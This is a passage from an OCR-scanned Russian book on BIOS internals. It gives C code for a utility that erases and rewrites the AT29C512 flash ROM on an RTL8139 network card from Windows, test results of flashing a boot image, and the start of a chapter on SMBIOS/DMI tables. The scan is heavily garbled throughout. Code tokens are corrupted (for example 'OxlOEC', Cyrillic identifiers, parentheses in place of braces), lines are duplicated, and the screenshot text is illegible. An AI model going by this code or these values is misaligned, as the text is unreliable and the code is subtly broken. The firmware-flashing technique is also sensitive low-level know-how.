#include "pci_cards.hn
#include "at29c512.h"
#include "rtl8139.h"
struct pci_card pci_cards[] = {
{ "RTL8139", {NULL, OxFF, 0, 0, 0, OxlOEC, 0x8139, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, NULL, NULL, 0/*header type*/, NULL}, read_rtl8139_rom_byte, write_rtl8139_roin_byte, NULL},
(NULL), // Признак конца массива, имя устройства NULL };
struct pci_rom pci_roms[] = {
(nAt29C512n, ATMEL_ID, AT_29C512, 64, 128, probe_at29c512.
Обращение к BIOS из операционной системы
erase_at29c512, write_at29c512, read_at29c512),
{NULL}, // Конец признака конца массива
static void copy_deviсе(struct pci_card * card, struct pci_dev * dev) unsigned short i;
II И Копируем содержимое dev в card->device.
II
printf("pci card found, name = %s ; vendor_id = %04X ; dev_id = " "%04X\n", card->name, dev->vendor_id, dev->device_id);
card->device.bus = dev->bus;
card->device.dev = dev->dev;
card->device.func = dev->func;
card->device.rom_base_addr = dev->rom_base_addr;
card->device.rorn_size = dev->rom_size;
for( i = 0; i < 6; i++ ) (
card->device.base_addr[i] = dev->base_addr[i];
card->device.size[i] = dev->size[ i ];
printf("base address [%d] = %X\n", i, card->device.base_addr[i]); printf("size [%d] = %X\n", i, card->device.size[i]); }
struct pci_card* find_pci_card(unsigned short vendor_id, unsigned short device_id)
(
struct pci_access *pacc;
struct pci_dev *dev;
unsigned int i;
struct pci_card *card = NULL;
// Объекты pci_cards поддерживают устройство? И
for(i = 0; pci_cards[i].name != NULL; i++) (
card = &pci_cards[i];
if( (card->device.vendor_id == vendor_id) && (card->device.device_id == device_id) )
(
break;
if( card->name == NULL )
{ return NULL;
}
II
Проверяем наличие физического устройства.
И
расе = pci_alloc();// Получаем структуру pci_access.
// Устанавливаем опции.
//Я оставляю опции по умолчанию.
pci_init(расе);// Инициализируем библиотеку PCI.
pci_scan_bus(расе);// Получаем перечень устройств.
for(dev = pacc->devices; dev; dev = dev->next)// Делаем то же самое // для всех устройств.
(
pci_fill_infо(dev, PCI_FILL_IDENT|PCI_FILL_BASES|
PCI_FILL_ROM_BASE|PCI_FILL_SIZES); И Заполняем необходимую // информацию заголовка.
if( (card->device.vendor_id == dev->vendor_id) && (card->device.device_id == dev->device_id))
(
II
H Заполняем объект устройства в карте.
И
copy_device( card, dev );
pci_cleanup(pacc);M Закрываем все.
return card;
)pCi_cleanup(pacc);)pCi_cleanup(pacc);И Закрываем все.И Закрываем все.
)
pCi_cleanup(pacc);
)
pCi_cleanup(pacc);
И Закрываем все.
И Закрываем все.
return NULL;
)
Struct pci_rom* probe_pci_rom( struct pci_card* card)
(
unsigned int i;
struct pci_rom *rom = NULL;
H
// Структуры pci_roms поддерживают устройство? И
for(i = 0; pci_roms[i] .name ■ = NULL; i++)
{
rom = &pci_roms[i];
if( rom->probe(card) == 1) {
card->rom = rom;
return rom;
)
}
return NULL; // Нет, возвращаем void.
Указатели функций, члены массива pci_card в файле pci_card.c, реализованы в файле П18139.С (см. листинг 9.54).
Листинг 9.54. Файл rtl8139.c
include <stdio.h> include "direct_io.h" include ”pci_cards.h" include "delay.h"
^signed char read_rtl8139_rom_byte (struct pci_card *card.
unsigned long addr)
unsigned short io_base = 0;
unsigned long mem_base = 0; unsigned char val;
H
// Узнаем, куда отображены рабочие регистры.
И
if( card->device.base_addr[O] & 1 ) // Устройство отображается //на ввод-вывод?
{
io_base = ((unsigned short)card->device.base_addr[0]) & ~3 ;
outl((addr & OxOlFFFF)|0x060000, io_base + 0xD4);
val = inb(io_base + 0xD7);
return val;
} else // Нет, отображается на память. (
printf("Realtek 8139 operational register is memory mapped! \n");
И Рабочие регистры чипа Realtek 8139 отображаются на память, printf("This version cannot handle it yet.. \n");
// Эта версия утилиты не может работать с этим чипом..
menL-base = card->device.base_addr[0] & -OxF ;
)
return 0;
}
unsigned char write_rtl8139_rcm_byte (struct pci_card *card,
unsigned char value, unsigned long addr ) (
unsigned short io_base = 0;
unsigned long mernJoase = 0;
II
II Узнаем, куда отображены рабочие регистры. И
if( card->device.base_addr[0] & 1 ) // устройство отображается
М на ввод-вывод?
io_base = ((unsigned short)card->device.base_addr[0]) & ~3; outl((addr & OxOlFFFF) | OxOAOOOO | (value«24), io_base + 0xD4); outl((addr & OxOlFFFF) | OxlEOOOO | (value«24) , io_base + 0xD4); }
else // Нет, отображается на память.
mem_base = card->device.base_addr[O] & ~0xF; }
return 0,-
функции, приведенные в листинге 9.54, используются для чтения и записи чипа флэш-ROM сетевой карты RTL8139.
Последний файл, добавленный к модернизированной утилите bios_probe — это файл at29c512.c. Этот файл содержит функции для манипулирования содержимым чипа флэш-ROM АТ29С512. Его содержимое показано в листинге 9.55.
Листинг 9.55. Файл at29c512.c
#include <stdio.h>
#include <windows.h>
^include "pci_cards.h"
^include "delay.h"
^include "at29c512.h"
^include "direct_io.h" // Quick hack
static void reset_at29c512(struct pci_card *card) (
rnyusec_delay (10000) ;
card->write_rom_byte(card,OxAA,0x5555);
card->write_rom_byte(card,0x55,0x2AAA);
card->write_rom_byte(card,OxFO,0x5555);
rnyusec_delay( 10000) ;
—inline void wait_for_toggle_bit (struct pci_card *card)
{
unsigned int i = 0;
char tmpl, tmp2 ;
tmpl = card->read_rom_byte(card, 0) & 0x40;
while (i++ < OxFFFFFF) {
tmp2 = card->read_rom_byte(card, 0) & 0x40;
if (tmpl == tmp2) {
break; } tmpl = tmp2; }
int probe_at29c512(struct pci_card *card)
unsigned char manufacturer_id, device_id;
reset_at29c512(card);
card->write_rom_byte( card, OxAA, 0x5555 );
card->write_rom_byte( card, 0x55, 0x2AAA );
card->write_rom_byte( card, 0x90, 0x5555 );
manufacturer_id = card->read_rom_byte( card, 0 ); device_id = card->read_rom_byte( card, 1 );
reset_at29c512(card);
if( (ATMEL_ID == manufacturer_id) && (AT_29C512 == device_id)) (
printf("Atmel AT29C512 detected..\n"); H Обнаружен чип
// Atmel AT29C512 return 1; // Возвращаем 1, как признак успеха.
}
else
I
return 0; // Возвращаем 0, как признак неудачи.
}
erase._at29c512 (struct pci_card *card)
reset_at29c512(card);
printf("Erasing AT29C512. Please wait.. \n"); H Ждем, пока
// стирается чип АТ29С512
card->write_.rom_byte( card, ОхАА, 0x5555 ) ; card->write_rom_byte( card, 0x55, 0x2AAA ); card->write_rom_byte( card, 0x80, 0x5555 ); card->write_rom_byte( card, OxAA, 0x5555 ); card->write_rom_byte( card, 0x55, 0x2AAA ) ; card->write_rom_byte( card, 0x10, 0x5555 );
myusec_delay(10000); // Пауза в 10 миллисекунд.
wait_for_toggle_bit(card);
return 1; // Возвращаем 1, как признак успеха.
int write_at29c512(struct pci_card *card, unsigned char * buf) (
long i;
/* НАЧАЛО НЕОБХОДИМОГО КОДА, КРИТИЧНОГО ПО ВРЕМЕНИ
// Инструкции для записи одного сектора card->write_rom_byte( card, ОхАА, 0x5555 );
card->write_rOm_byte( card, 0x55, 0х2ААА ); card->write_rom_byte( card, 0xA0, 0x5555 );
// Записываем все данные в сектор.
for (i = 0; i < (card->rom->total_size * 1024); i++)
card->write_rom_byte( card, buf[i], i ) ;
/*~КОНЕЦ НЕОБХОДИМОГО КОДА КРИТИЧНОГО ПО ВРЕМЕНИ--
^НАЧАЛО ЭКСПЕРИМЕНТАЛЬНОГО КОДА КРИТИЧНОГО ПО ВРЕМЕНИ ---
printf("Flashing binary to AT29C512. Please wait.. \n");
// ЖДем завершения записи в чип АТ29С512.
WriteRtl8139RomHack(card->device.base_addr[ 0 ], card->rom->total_size * 1024, buf); /*КОНЕЦ ЭКСПЕРИМЕНТАЛЬНОГО КОДА КРИТИЧНОГО ПО ВРЕМЕНИ
// Проверяем все секторы на правильную запись всех байтов, for (i = 0; i < (card->rom->total_size * 1024); i++) {
if ( card->read_rom_byte(card, i) != buf[i] ) {
printf("AT29C512 chip programming error at: 0x%01X\n", i); // Ошибка при записи чипа АТ29С512.
return 0; )
)
return 1; // Возвращаем 1, как признак успеха.
int read_at29c512(struct pci_card *card, unsigned char * buf) {
long i;
printf ("Reading Atmel AT29C512 contents. Please wait.An"); // ЖДем, пока читается содержимое чипа АТ29С512.
reset_at29c512(card);
for( i = 0; i < (card->rom->total_size * 1024); i++) {
buf[i] = card->read_rom_byte( card, i ); myusec_delay(1); // Делаем паузу в 1 микросекунду }
return 1; // Возвращаем 1, как признак успеха. }
Как можно видеть в листинге 9.55, я применил импровизированное решение создания высокоэффективного кода, с помощью которого можно выполнять запись в чип АТ29С512. Этот высокоэффективный код реализован в виде спе*
циальной функции для выполнения записи в чип флэш-ROM полностью в драйвере устройства. В листинге 9.55 эта специальная функция называется writeRtl8i39RomHack.XoTfl функция с таким же именем имеется в исходном коде приложения пользовательского режима (в файле directio.h), это две разные функции. Функция writeRti8i39RomHack в файле direct_io.h вызывает одноименную функцию в драйвере устройства посредством диспетчера ввода- вывода С ПОМОЩЬЮ КОДа IOCTL IOCTL_RTL8139_ROM_WRITE_HACK.
Приведенные здесь объяснения должны быть достаточными для понимания работы модернизированной утилиты bios_probe. Если вы все еще испытываете затруднения с пониманием некоторых аспектов, внимательно просмотрите соответствующий исходный код. А сейчас перейдем к испытанию исполняемого файла.
5.4. Проверяем утилиту
Проверка модернизированной версии bios_probe не представляет никаких трудностей. Сначала проверяется функциональность стирания чипа флэш- ROM. Результаты этой операции показаны в рис. 9.9.
Рис. 9.9. Результаты стиранйя чипа флэш-ROM
Чтобы удостовериться в том, что чип действительно был стерт, я сбросу его содержимое в двоичный файл. Процесс сохранения этого дампа показан на рис. 9.10.
^WWWSUj^
p>Nft-Liat_PuhlishingXU:|nd<iwg,,B108_i’)<!<3her\v,1 SlXswe^relnS-ie^lo $>roj хе с 1г 4unp.bin ‘alibrating tlswr >inc- ntogpslnep 1<»Д» t*kOA ve^oud- I
ntting UP ntoroaocond «ixlno^luop CUM loops per second
. calibrated, now do the deed he driver has been extracted ho driver is registered and activated rylng set hod 8..*
...sanity chock
...outside the fltylum at ti/ivy
...OK
tided to use Intel-confl .'canning hue f ) for devices...
canning bus 61 for devices... canning hue № for devices —
, i card found, nano " КТ1Л139 ; vendor_id 10bC J dey_U - 8139
■ase addreps (8) * B801
to» (HI 8
ю address (1) - 8
toe Cl 1 • 8
ase address 121 ■ I toe Г21 - В
«ее address (31 • 8
toe C3J 8
«so address C41 в too (4) - 8
■ «jo addrese LSI ■< в toe (51 - C
twl ЙТ29С512 detected.
CI ROH type - At29CS12
aiding Atnel ЙТ29С512 contents. Please wait..
llw driver stopped and unloaded
I 2f~b^l '»blbMn<AVIfwtoy BIft$ F)a«ba.r\vH.11\rx«XrrUa e\
Рис. 9.10. Процесс сохранения дампа стертого чипа флэш-ROM
Как видите, стирание было успешным — все байты двоичного файла имеют значение FFh (листинг 9.56).
Листинг 9.56. Содержимое чипа флэш-ROM после операции стирания
Адрес
Шестнадцатеричные значения
Значения ASCII
00000000
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
00000010
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
00000020
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
00000030
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
00000040
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
0000FFE0
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
0000FFF0
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
FFFF
Продолжаем проверку успешности стирания, перезагрузив систему и установив в BIOS Setup опцию удаленной загрузки по сети, т. е. с нашей подопытной сетевой платы RTL8139 (рис. 9.11). Неудачная загрузка будет признаком успешной операция стирания чипа флэш-ROM сетевой платы.
Рис. 9.11. Установка BIOS Setup для удаленной загрузки по сети
4etierk boot fn>M ЙИВ Йм79С978Й
Copyright (С) 2883-2885 UMmre Inr.
opyright (CI 1397-2888 Intel Corporation
LIEKT MAC ADBSt 88 8C 29 FF ЙЙ 16 GUIS. 564D4CF8-CE6B-AC16-FE3E-BF1988FF8A18
PXE-E53: Ho boot fНенане received
PXE-H8F Exiting Intel PXE SOM.
Qp^rnting Sy*te« npt fpond
Рис. 9.12. Неудачная загрузка co стертого чипа флэш-ROM сетевой карты
^ Моем случае, загрузка с этой установки BIOS была неудачной, так как ос- Тальные загрузочные устройства были запрещены (см. рис. 9.12).
^а следующем шаге проверки модернизированной утилиты bios_probe попробуем записать двоичный файл в чип флэш-ROM сетевой платы из Windows. Ход выполнения этой операции показан на рис. 9.13.
Рис. 9.13. Ход выполнения записи двоичного файла в чип флэш-ROM из WindowsРис. 9.13. Ход выполнения записи двоичного файла в чип флэш-ROM из Windows
Рис. 9.13. Ход выполнения записи двоичного файла в чип флэш-ROM из Windows
Рис. 9.13. Ход выполнения записи двоичного файла в чип флэш-ROM из Windows
Hello, world
Рис. 9.14. Загрузка с чипа флэш-ROM BIOS сетевой платы
Для записи я использовал двоичный файл, рассмотренный в главе 7. Но перед этим я несколько модифицировал исходный код для создания этого двоичного файла. Я изменил идентификаторы производителя и устройства, чтобы они соответствовали сетевой плате RTL8139. При успешной операции записи этого файла в чип флэш-ROM сетевой платы, при удаленной загрузке по сети на экран должно быть выведено сообщение Hello world с последующим остановом системы. В моем случае, ход загрузки развивался по этому сценарию- Результаты загрузки с чипа флэш-ROM сетевой платы, прошитого двоичным файлом, показаны на рис. 9.14.
Теперь у вас имеются все необходимые знания для манипулирования содеР' жимым как чипа BIOS материнской платы, так и чипа BIOS платы расширь ния PCI из Windows. Но еще более интересная информация ожидает вас в последующих главах.
Глава 10
Низкоуровневое управление удаленным сервером
Введение
Подавляющее большинство рядовых пользователей персональных компьютеров, скорее всего, даже и не догадываются о существовании способов удаленного низкоуровневого доступа к системным аппаратным средствам и микропрограммному обеспечению их компьютеров архитектуры х86 посредством программных интерфейсов. Такими интерфейсами являются интерфейс DMI (desktop management interface — интерфейс управления настольными системами) и его конкурент SMBIOS (system management BIOS — BIOS управления системой). Интерфейс DMI достиг конца своего жизненного цикла в 2005 г. Поэтому в данной главе основное внимание будет сконцентрировано на SMBIOS. Тем не менее, некоторые функциональные возможности DMI продолжают употребляться в целях обеспечения обратной совместимости. В первом разделе этой главы рассматривается интерфейс SMBIOS. Во втором разделе излагается практическая реализация интерфейса в виде двоичного файла BIOS, а также описывается воплощение простого анализатора структуры таблиц SMBIOS. Кроме того, проводится краткий осмотр инструментария WMI (Windows management instrumentation — инструментальные средства управления средой Windows).
Ю.1. Интерфейсы DMI и SMBIOS
Стандарты DMI и SMBIOS разработаны и поддерживаются рабочей группой DMTF1 (http://www.dmtf.org/home). Эти стандарты являются частью слоя пРограммного обеспечения для "прозрачного" удаленного управления серве-
Distributed Management Task Force (DMTF) — рабочая группа по управлению нагольными компьютерами. DMTF представляет собой консорциум производителей разрабатывающий открытый стандартный метод доступа к информации в нагольных ПК.
рами и настольными компьютерами. Их назначение — понизить полную стоимость владения (ТСО) для организаций с разнотипными компьютера^ Чем больше организация имеет компьютеров, тем большую пользу ей приц0 сит централизация задач управления ими. К таким задачам можно отнести осуществление оперативного контроля над работой оборудования и обновление некоторых видов программного обеспечения. Для парадигмы управления компьютерным оборудованием употребляется предложенный рабочей груп. пой DMTF (http://www.dmtf.org/standards/wbem/) термин инициатива WBEM (Web-based enterprise management — управление предприятием на основе Web-технологий). В данном контексте, интерфейс DMI (или SMBIOS) является лишь одним из слоев программного обеспечения, предоставляющих функции управления. Как уже было сказано ранее, стандарт DMI был выведен из применения как устаревший, и его место занял стандарт SMBIOS.
Упрощенная логическая архитектура вычислительной среды WBEM показана на рис. 10.1.
Программное обеспечениеуправления WBEM(WBEM Manager)
Локальный терминал
Соединение TCP/IP 3
I Клиент WBEM, специфичный для ‘ операционной системы i
Прочие ; управляемые । компоненты I
Таблица структур SMBIOS
; Удаленный компьютер
: (подлежащий управлению)
Код BIOS, | исполняемый ! при подаче питания ,
Рис. 10.1. Логическая архитектура среды WBEM
!^ак можно видеть на рис. 10.1, клиентское приложение, специфичное для конкретной операционной системы, управляет не только так называемой таблицей структур SMBIOS, но и "прочими управляемыми компонентами". Дня Windows таким клиентом является инструментарий WMI (Windows management instrumentation — инструментарий управления Windows). Для UNIX-систем, этот клиент зависит от производителя дистрибутива конкретной операционной системы. Крупные производители, такие как Sun Microsystems, Hewlett-Packard и IBM предоставляют клиентское программное обеспечение WBEM своей собственной разработки. Некоторые дистрибутивы Linux, поставляемые крупными производителями, например, Movell/SUSE, также реализуют собственное программное обеспечение клиента WBEM. Поскольку существует настолько широкое разнообразие вариаций клиента WBEM для UNIX-систем, в данной книге они не рассматриваются. Информацию о реализации WBEM для UNIX-систем можно найти на сайте http://openwbem.org/, посвященном развитию открытого кода для этой парадигмы. Интерфейсу WMI будет уделено некоторое внимание. Но, поскольку эта глава посвящена реализации парадигмы WBEM на уровне BIOS, уровень WBEM, специфичный для операционной системы, не будет ее основной темой.
Логическая схема, представленная на рис. 10.1, показывает взаимосвязь между программным обеспечением управления WBEM и системой, содержащей управляемые компоненты, организованной по типу клиент-сервер. Тем не менее, в реальных условиях для обеспечения работоспособности парадигмы WBEM система не обязательно должна быть сконфигурирована как клиент и сервер. Например, в случае компьютеров под управлением Windows, для того, чтобы локальная машина могла запросить удаленную машину выполнить какие-либо задачи управления, достаточно разрешить удаленный доступ к интерфейсу WMI удаленной машины.
Технические детали и требования, предъявляемые WBEM к аппаратным устройствам, изложены в публикации Руководящие принципы воплощения аппаратного инструментария Windows ("Windows Hardware Instrumentation Implementation Guidelines"), которую можно скачать по адресу:
http://download.microsoft.com/download/5/7/7/577a5684-8a83-43ae-9272- ff260a9c20e2Avhiig-l.doc.
Особого внимания заслуживает следующий фрагмент разд. 2.7 этой публикаЦии, где изложены руководящие принципы для реализации интерфейса SMBIOS.
Фрагмент Раздела 2.7 публикации “Windows Hardware Instrumentation Implementation Guidelines”
Статические данные из таблиц SMBIOS предоставляются для WMI с помощь структуры WMI.10
Обязательно к применению
Производители оборудования, желающие предоставить данные средств управления, специфичные для системы и для изготовителя комплектного оборудования (OEM), могут воспользоваться SMBIOS, как механизмом для достижения этой цели. Чтобы повысить эффективность применения инфраструктуры WMI по обнаружению этих данных, они должны соответствовать одной из вер. сий SMBIOS — с 2.0 по 2.3 включительно. Таким образом, провайдер подсистемы Win32 сможет вставить почти всю информацию, предоставляемую SMBIOS, в пространство имен CIM версии 2.0 (Common Interface Model —- общая информационная модель). Так, почти вся информация будет сохранена в классах Win32, часть из которых представляет собой производные физического формата MOF (Managed Object Format — формат управляемых объектов) пространства имен CIM v.2.0.
Это требование не означает, что система непременно должна реализовать SMBIOS.
Из приведенной цитаты ясно, что в Windows подсистема WMI анализирует данные SMBIOS, предоставляемые BIOS, а затем экспортирует их в программное обеспечение управления WBEM через интерфейс WMI.
На рис. 10.1 пунктирная стрелка соединяет код BIOS, исполняемый по включению системы, с таблицей структур SMBIOS. Это означает, что таблица структур SMBIOS заполняется кодом BIOS при инициализации системы.
Интерфейс SMBIOS — это функция BIOS, специфичная для платформ с архитектурой х86. Этот интерфейс реализуется как составляющая инициативы WBEM. Роль SMBIOS заключается в предоставлении информации, специфичной для системы, верхнему уровню реализации WBEM, т. е. уровню операционной системы. Разобраться с SMBIOS вам поможет ее спецификация, все версии которой можно скачать по адресу http://www.dmtf.org/standards/smbios/.
В ранних реализациях SMBIOS информация предоставлялась посредством вызываемого интерфейса, т. е. вызовами функций, специфичных для конкретной платформы. Современная реализация SMBIOS предоставляет ин формацию верхнему уровню в виде структуры данных. Эта структура данных показана на рис. 10.1 как таблица структур SMBIOS.
Точкой входа в эту таблицу является структура eps (entry point structure структура точки входа), которая легко находится по строковой сигнатуру _sm_. В архитектуре х86 эта точка входа расположена по 16-байтной грани
диапазоне адресов Oxfoooo-Oxfffff. Сама таблица не обязательно должна наХодиться в этом же диапазоне адресов (см. рис. 10.2).
g спецификации SMBIOS говорится, что поскольку для обращения к таблице применяется 32-битная адресация, она должна находиться в пределах первых 4 Гбайт. Тем не менее, многие BIOS реализуют эту таблицу в физическом диапазоне адресов Oxfoooo-Oxfffff.
Описание структуры точки входа в таблицу структур SMBIOS приведено втабл. ЮЛ. Такая же таблица имеется в спецификации "System Management BIOS (SMBIOS) Reference Specification" ("Технические данные BIOS управления системой”) версии 2.5 от 5 сентября 2006 г.
Таблица 10.1. Описание структуры EPS, являющейся точкой входа в таблицу структур SMBIOS
Смещение
Название
Длина
Описание
ООН
Строка сигнатуры
(Anchor string)
4 байта
_зм_; указывается четырьмя символами ASCII (5F 53 4D 5F).
04h
Контрольная сумма структуры EPS (entry point structure — структура точки входа)
Байт
Контрольная сумма структуры eps. В результате сложения (с применением 8-битного сложения) этого значения со значениями всех остальных байтов структуры eps должно получиться значение ООН. Сложение начинается со смещения 00h
05h
**-
Размер точки входа (Entry point length)
Байт
Размер структуры eps в байтах, начиная с поля строки сигнатуры. В настоящее время имеет значение lFh.
Примечание: В спецификации SMBIOS версии 2.1 было указано неправильное значение этого поля (1ЕН). Поэтому реализации SMBIOS версии 2.1 могут использовать значение lEh или lFh. SMBIOS, начиная с версии 2.2, должны использовать значение lFh
Таблица 10.1 (продолжение
Смещение
Название
Длина
Описание
06h
Номер основной версии SMBIOS (SMBIOS major version)
Байт
Указывает основную версию спецификации SMBIOS, реализованную в таблице структур. Например, для версии 10.22 это значение будет равно OAh, а для версии 2.1 — 02h
07h
Номер дополнительной версии
SMBIOS (smbios minor v.ersion)
Байт
Указывает дополнительную версию (подверсию) спецификации SMBIOS, реализованную в таблице структур. Например, для версии 10.22 это значение будет равно 16h, а для версии 2.1 — Olh
08h
Максимальный размер структуры (Maximum structure size)
Определяется размером максимальной из структур SMBIOS
Размер (в байтах) наибольшей структуры SMBIOS, включая отформатированные области и текстовые строки структуры. Это значение возвращается функцией PnP Get SMBIOS Information в переменной Structuresize
OAh
Статус изменения точки входа (Entry point revision)
Байт
Указывает подверсию структуры EPS, реализованную в данной структуре. Кроме того, задает форматирование областей по смещениям OBh-OFh:
00h — Точка входа основана на определении SMBIOS версии 2.1. Отформатированная область зарезервирована, и значения всех ее байтов установлены в 00h.
0 lh-FFh — Зарезервировано для назначения в спецификации SMBIOS версии 2.4
OBh-OFh
Отформатированная область (Formatted area)
5 байт
Интерпретация этих 5 байт определяется значением, содержащимся в поле статуса изменения точки входа (Entry point revision)
lOh
Промежуточная сигнатура (Intermediate anchor string)
5 байт
_dmi_; указывается пятью символами ASCII (5F 44 4D 49 5F)•
Примечание: это поле выровнено по границе параграфа. Это позволяет наследуемым средствам просмотра (браузерам) DMI найти эту точку в структуре EPS SMBIOS
Таблица 10.1 (окончание)
Смещение
Название
Длина
Описание
15h
Промежуточная контрольная сумма (Intermediate checksum)
Байт
Контрольная сумма структуры ieps (intermediate entry point structure — промежуточная структура точки входа). В результате сложения (с применением 8-битного сложения) этого значения со значениями всех остальных байтов структуры ieps должно получиться значение OOh. Количество складываемых байтов структуры ieps составляет OFh. Сложение начинается со смещения 10h
ТбИ
Размер таблицы структуры (structure table length)
Слово
Общий размер таблицы структуры SMBIOS, на которую указывает значение в поле адреса таблицы структуры (поле structure table address по смещению 18h)
18h
Адрес таблицы
Двойное
32-битный физический адрес на-
структуры (Structure table address)
слово
чала таблицы структур SMBIOS. Таблица имеет свойство "только для чтения" и может начинаться по любому 32-битному адресу. Эта область содержит все структуры SMBIOS в упакованном виде. Эти структуры можно разобрать и получить точно такой же формат, который возвращается функцией Get SMBIOS Structure
iCh
Количество структур SMBIOS (Number of SMBIOS structures)
Слово
Общее количество структур, имеющихся в таблице структур SMBIOS. Это значение возвращается функцией Get SMBIOS Information в переменной NumStruetures
lEh
Номер версии SMBIOS в двоично- кодированном формате
Байт
Указывает соответствие версии данной спецификации. Старший полубайт этого двоично- кодированного десятичного значения указывает основную версию, а младший полубайт — дополнительную. Возвращаемое значение для версии 2.1 будет 2 lh. Если -значение этого поля равно OOh, то информация о версии и подверсии содержится только в полях структуры eps, расположенных по смещениям 06hИ07h
Даже информация, представленная в табл. 10.1, может быть недостаточной для полного понимания того, каким образом структура eps, предоставляю, щая точку входа в таблицу структур SMBIOS, вписывается в общу^ архитектуру SMBIOS. Поэтому на рис. 10.2 показан логический способ полу, чения доступа к таблице структур SMBIOS.
Физическое адресноепространствоФизическое адресноепространство4 Гбайт4 ГбайтФизическое адресноепространствоФизическое адресноепространство
Физическое адресноепространство
Физическое адресноепространство
4 Гбайт
4 Гбайт
Физическое адресноепространство
Физическое адресноепространство
OxFFFFF;
Точка входаSMBIOSТочка входаSMBIOSОхГОООО.ОхГОООО.SMSM' Адрес таблицы структур' Адрес таблицы структурООТаблица структурSMBIOSТаблица структурSMBIOS
Точка входаSMBIOS
Точка входаSMBIOS
ОхГОООО.
ОхГОООО.
SM
SM
' Адрес таблицы структур
' Адрес таблицы структур
О
О
Таблица структурSMBIOS
Таблица структурSMBIOS
о
Рис. 10.2. Получение доступа к таблице структур SMBIOS
Очевидно, что функциональные возможности удаленного низкоуровневого управления существуют лишь при работающей операционной системе, так как именно ОС предоставляет механизм, связывающий компьютер с внешним миром. Это требование определяется архитектурой WBEM. При этом ОС не обязательно должна быть полномасштабной операционной системой из разряда Windows или Linux. Более того, это даже не обязательно должно быть программное обеспечение, подобное операционной системе, такое как удаленный загрузчик программы (RPL) или код РХЕ (pre-boot execution environment — предзагрузочная среда исполнения) ROM компании Intel. ДоС' таточно лишь иметь возможность загрузить машину по сетевой карте. Если в вашем распоряжении имеется программное обеспечение, позволяющее ус' тановить связь с машиной, данные о ее низкоуровневых системных возможностях можно получить удаленным сканированием и анализом информации SMBIOS в таблице структур SMBIOS.
рассмотрим некоторые наиболее интересные части этой таблицы. Но прежде необходимо объяснить основные принципы организации элементов таблицы. Каждый элемент в таблице структур называется структурой SMBIOS. Струк- ^ра SMBIOS состоит из двух частей — форматированной секции и необяза- т6льной неформатированной секции (рис. 10.3).
Форматированная секция
Неформатированная секция(необязательная)
Рис. 10.3. Организация структуры SMBIOS
Форматированная секция содержит предопределенный заголовок для данной структуры SMBIOS; неформатированная секция содержит строки, связанные с содержимым форматированной секции или иные данные, требуемые спецификацией SMBIOS. Как уже говорилось, неформатированная секция не является обязательной. Присутствие неформатированной секции зависит от типа структуры. В определении типа структуры ключевую роль играет заголовок структуры SMBIOS. Организация байтов заголовка структуры SMBIOS показана в табл. 10.2. Такая же таблица приводится в спецификации SMBIOS версии 2.5.
Таблица 10.2. Организация байтов заголовка структуры SMBIOS
Смещение
Название
Длина
Описание
00h
Тип (Туре)
Байт
Указывает тип структуры. Типы с 0 по 127 (7Fh) зарезервированы для данной спецификации и определяются в ней. Типы 128—256 (80h-FFh) используются для хранения информации, специфичной для системы и поставщика комплектного оборудования (OEM)
oih
Длина
Байт
Указывает длину форматированной области структуры, начиная с поля типа (Туре). Значение этого поля не учитывает длину набора строк структуры
17 Зак. 1387
Таблица 10.2 (окончание)
Смещение
Название
Длина
Описание
02h
Дескриптор
Слово
Указывает дескриптор структуры (structure handle). Дескриптор структуры представляет собой уникальное 16-битное значение из диапазона 0-0FFFEh (ДЛЯ версии 2.0) ИЛИ 0-0FEFFh (для версии 2.1 и более поздних версий). Дескриптор используется функцией Get smbios structure для извлечения конкретной структуры. Значения дескрипторов не обязательно должны последовательно заполнять непрерывные смежные диапазоны. Для версии 2.1 и более поздних версий, диапазон значений дескриптора OFFOOh-OFFFFh зарезервирован для использования самой спецификацией. При изменении конфигурации системы, ранее назначенные дескрипторы могут прекратить существование. Однако, как только BIOS назначает дескриптор, она больше не может переназначить этот дескриптор другой структуре
Смещения в табл. 10.2 вычисляются от первого байта структуры SMBIOS. Обратите внимание, что первым байтом структуры SMBIOS.в табл. 10.2 является байт поля типа (туре). Из описания поля туре следует, что существуют 128 предопределенных типов структур SMBIOS. Как уже упоминалось ранее, некоторые структуры SMBIOS представляют особый интерес. Одной из таких структур SMBIOS является системный журнал событий. Данная структура интересна тем, что с помощью содержащейся в ней информации можно получить доступ к параметрам CMOS машины. Содержимое этой структуры описано в табл. 10.3. Такая же таблица приводится в спецификации SMBIOS версии 2.5.
Таблица 10.3. Содержание структуры SMBIOS^ для системного журнала событий
Смещение
Версия спецификации SMBIOS
Название
Длина
Значение
Описание
00h
2.0+
Тип (Туре)
Байт
15
Указатель типа журнала событий
Таблица 10.3 (продолжение)
Смещение
Версия спецификации SMBIOS
Название
Длина
Значение
Описание
Olh
2.0+
Длина (Length)
Байт
Переменное
Длина структуры, включая поля типа (Туре) и длины (Length). Для реализаций структуры версии 2.0 длина составляет 14h. Для реализаций структуры версии 2.1 и более поздних версий, длина вычисляется BIOS по формуле 17h + (х * у). Здесь х — значение, находящееся в поле по смещению 15h, а у — значение поля, расположенного по смещению 16h
02h
2.0+
Дескриптор (Handle)
Слово
Переменное
Дескриптор, или номер экземпляра, назначенный структуре
04h
2.0+
Длина области журнала (Log area length)
Слово
Переменное
Длина (в байтах) общей области журнала событий, от первого байта заголовка до последнего байта данных
06h
2.0+
Смещение начала заголовка журнала (Log header start offset)
Слово
Переменное
Определяет смещение (или индекс) начала заголовка журнала событий от адреса метода доступа к энергонезависимой памяти. Для запросов на ввод- вывод, использующих однобайтный индекс, старший байт начального смещения установлен в ooh
Таблица 10.3 (продолжу
Смещение
Версия спецификации SMBIOS
Название
Длина
Значение
Описание
08h
2.0+
Смещение данных журнала (Log data start offset)
Слово
Переменное
Определяет смещений (или индекс) первого байта данных журнала событий от адреса метода доступа к энергонезависимой памяти. Для запросов на ввод-вывод, использующих однобайтный индекс, значение старшего байта начального смещения устанавливается равным ooh.
